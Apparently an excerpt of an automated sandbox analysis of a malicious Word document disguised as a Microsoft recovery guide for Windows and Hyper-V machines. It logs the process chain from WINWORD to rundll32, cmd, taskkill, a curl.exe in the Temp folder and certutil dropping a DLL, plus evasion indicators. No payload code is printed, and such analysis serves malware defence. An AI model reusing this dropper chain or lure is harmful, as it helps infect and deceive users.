Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\rundll32.exe

Code function: GetAdaptersInfo,_Smanip,

16_2_00007FFD92BEE600

Source: C:\Users\user\AppData\Local\Temp\curl.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_13-41008

Source: C:\Windows\SysWOW64\certutil.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mscorsvc.dll

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\curl.exe	API coverage: 5.4 %
Source: C:\Users\user\AppData\Local\Temp\curl.exe	API coverage: 9.1 %

Source: C:\Windows\System32\rundll32.exe TID: 6552

Thread sleep count: 82 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C0B230 _Bitmask_includes,operator&=,_Bitmask_includes,_Bitmask_includes,operator&=,_Bitmask_includes,GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,operator&=,std::_Fs_file::_Fs_file,Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::~_Scoped_lock,_Bitmask_includes,GetFileInformationByHandleEx,GetLastError,Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::~_Scoped_lock,operator&=,_Bitmask_includes,GetFileInformationByHandleEx,GetLastError,Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::~_Scoped_lock,operator&=,_Bitmask_includes,GetFileInformationByHandleEx,GetLastError,Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::~_Scoped_lock,operator&=,Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::~_Scoped_lock,Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::~_Scoped_lock,	16_2_00007FFD92C0B230
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C0B1C0 __std_fs_close_handle,FindFirstFileExW,GetLastError,	16_2_00007FFD92C0B1C0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92BF18C0 FindFirstFileW,new,delete,delete,std::_Lockit::_Lockit,std::_Lockit::~_Lockit,delete,delete,delete,FindNextFileW,FindClose,delete,delete,	16_2_00007FFD92BF18C0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92CCDD10 type_info::_name_internal_method,FindFirstFileExW,Concurrency::details::_Scheduler::_Scheduler,std::_Container_base12::~_Container_base12,std::_Container_base12::~_Container_base12,std::_Container_base12::~_Container_base12,std::_Container_base12::~_Container_base12,std::_Container_base12::~_Container_base12,std::_Container_base12::~_Container_base12,FindNextFileW,std::_Container_base12::~_Container_base12,std::_Container_base12::~_Container_base12,	16_2_00007FFD92CCDD10

Source: C:\Windows\System32\rundll32.exe

Code function: 16_2_00007FFD92C95E80 GetSystemInfo,

16_2_00007FFD92C95E80

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\Theme Colors\
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\

Source: document.xml	Binary or memory string: </w:t></w:r><w:r w:rsidRPr="0065064B"><w:rPr><w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:b/><w:bCs/><w:color w:val="333333"/></w:rPr><w:t>Hyper-V Settings</w:t></w:r><w:r w:rsidRPr="0065064B"><w:rPr><w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:color w:val="333333"/></w:rPr><w:t>
Source: document.xml	Binary or memory string: </w:t></w:r><w:r w:rsidRPr="0065064B"><w:rPr><w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:b/><w:bCs/><w:color w:val="333333"/></w:rPr><w:t>Hyper-V settings</w:t></w:r><w:r w:rsidRPr="0065064B"><w:rPr><w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:color w:val="333333"/></w:rPr><w:t>
Source: rundll32.exe, 00000010.00000002.5553191262.0000020A783B3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000024.00000003.4258778994.0000027F6C3D1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000024.00000002.4259308541.0000027F6C3D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: document.xml	Binary or memory string: </w:t></w:r><w:hyperlink r:id="rId9" w:tgtFrame="_self" w:history="1"><w:r w:rsidRPr="0065064B"><w:rPr><w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:color w:val="146CAC"/><w:u w:val="single"/></w:rPr><w:t>https://go.microsoft.com/fwlink/?linkid=2280386</w:t></w:r></w:hyperlink><w:r w:rsidRPr="0065064B"><w:rPr><w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:color w:val="333333"/></w:rPr><w:t>. In this document, we include detailed recovery steps for Windows client, servers, and OS's hosted on Hyper-V. The two repair options are as follows:</w:t></w:r></w:p><w:p w14:paraId="49DFB7AB" w14:textId="77777777" w:rsidR="0065064B" w:rsidRPr="0065064B" w:rsidRDefault="0065064B" w:rsidP="0065064B"><w:pPr><w:numPr><w:ilvl w:val="0"/><w:numId w:val="5"/></w:numPr><w:shd w:val="clear" w:color="auto" w:fill="FFFFFF"/><w:spacing w:before="100" w:beforeAutospacing="1" w:after="100" w:afterAutospacing="1" w:line="259" w:lineRule="auto"/><w:jc w:val="both"/><w:rPr><w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:color w:val="333333"/></w:rPr></w:pPr><w:r w:rsidRPr="0065064B"><w:rPr><w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:b/><w:bCs/><w:color w:val="333333"/></w:rPr><w:t>Recover from WinPE</w:t></w:r><w:r w:rsidRPr="0065064B"><w:rPr><w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:color w:val="333333"/></w:rPr><w:t>
Source: curl.exe, 0000000D.00000003.2188986234.00000000033F0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.2189060757.00000000033F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllG
Source: document.xml	Binary or memory string: </w:t></w:r></w:p><w:p w14:paraId="70D69DE5" w14:textId="77777777" w:rsidR="0065064B" w:rsidRPr="0065064B" w:rsidRDefault="0065064B" w:rsidP="0065064B"><w:pPr><w:shd w:val="clear" w:color="auto" w:fill="FFFFFF"/><w:jc w:val="both"/><w:rPr><w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:color w:val="333333"/></w:rPr></w:pPr><w:r w:rsidRPr="0065064B"><w:rPr><w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:b/><w:bCs/><w:color w:val="333333"/></w:rPr><w:t>Steps to Recover Hyper-V virtual machines</w:t></w:r></w:p><w:p w14:paraId="74745A04" w14:textId="77777777" w:rsidR="0065064B" w:rsidRPr="0065064B" w:rsidRDefault="0065064B" w:rsidP="0065064B"><w:pPr><w:numPr><w:ilvl w:val="0"/><w:numId w:val="10"/></w:numPr><w:shd w:val="clear" w:color="auto" w:fill="FFFFFF"/><w:spacing w:before="100" w:beforeAutospacing="1" w:after="100" w:afterAutospacing="1" w:line="259" w:lineRule="auto"/><w:jc w:val="both"/><w:rPr><w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:color w:val="333333"/></w:rPr></w:pPr><w:r w:rsidRPr="0065064B"><w:rPr><w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:color w:val="333333"/></w:rPr><w:t>On an impacted virtual machine, add a DVD Drive under
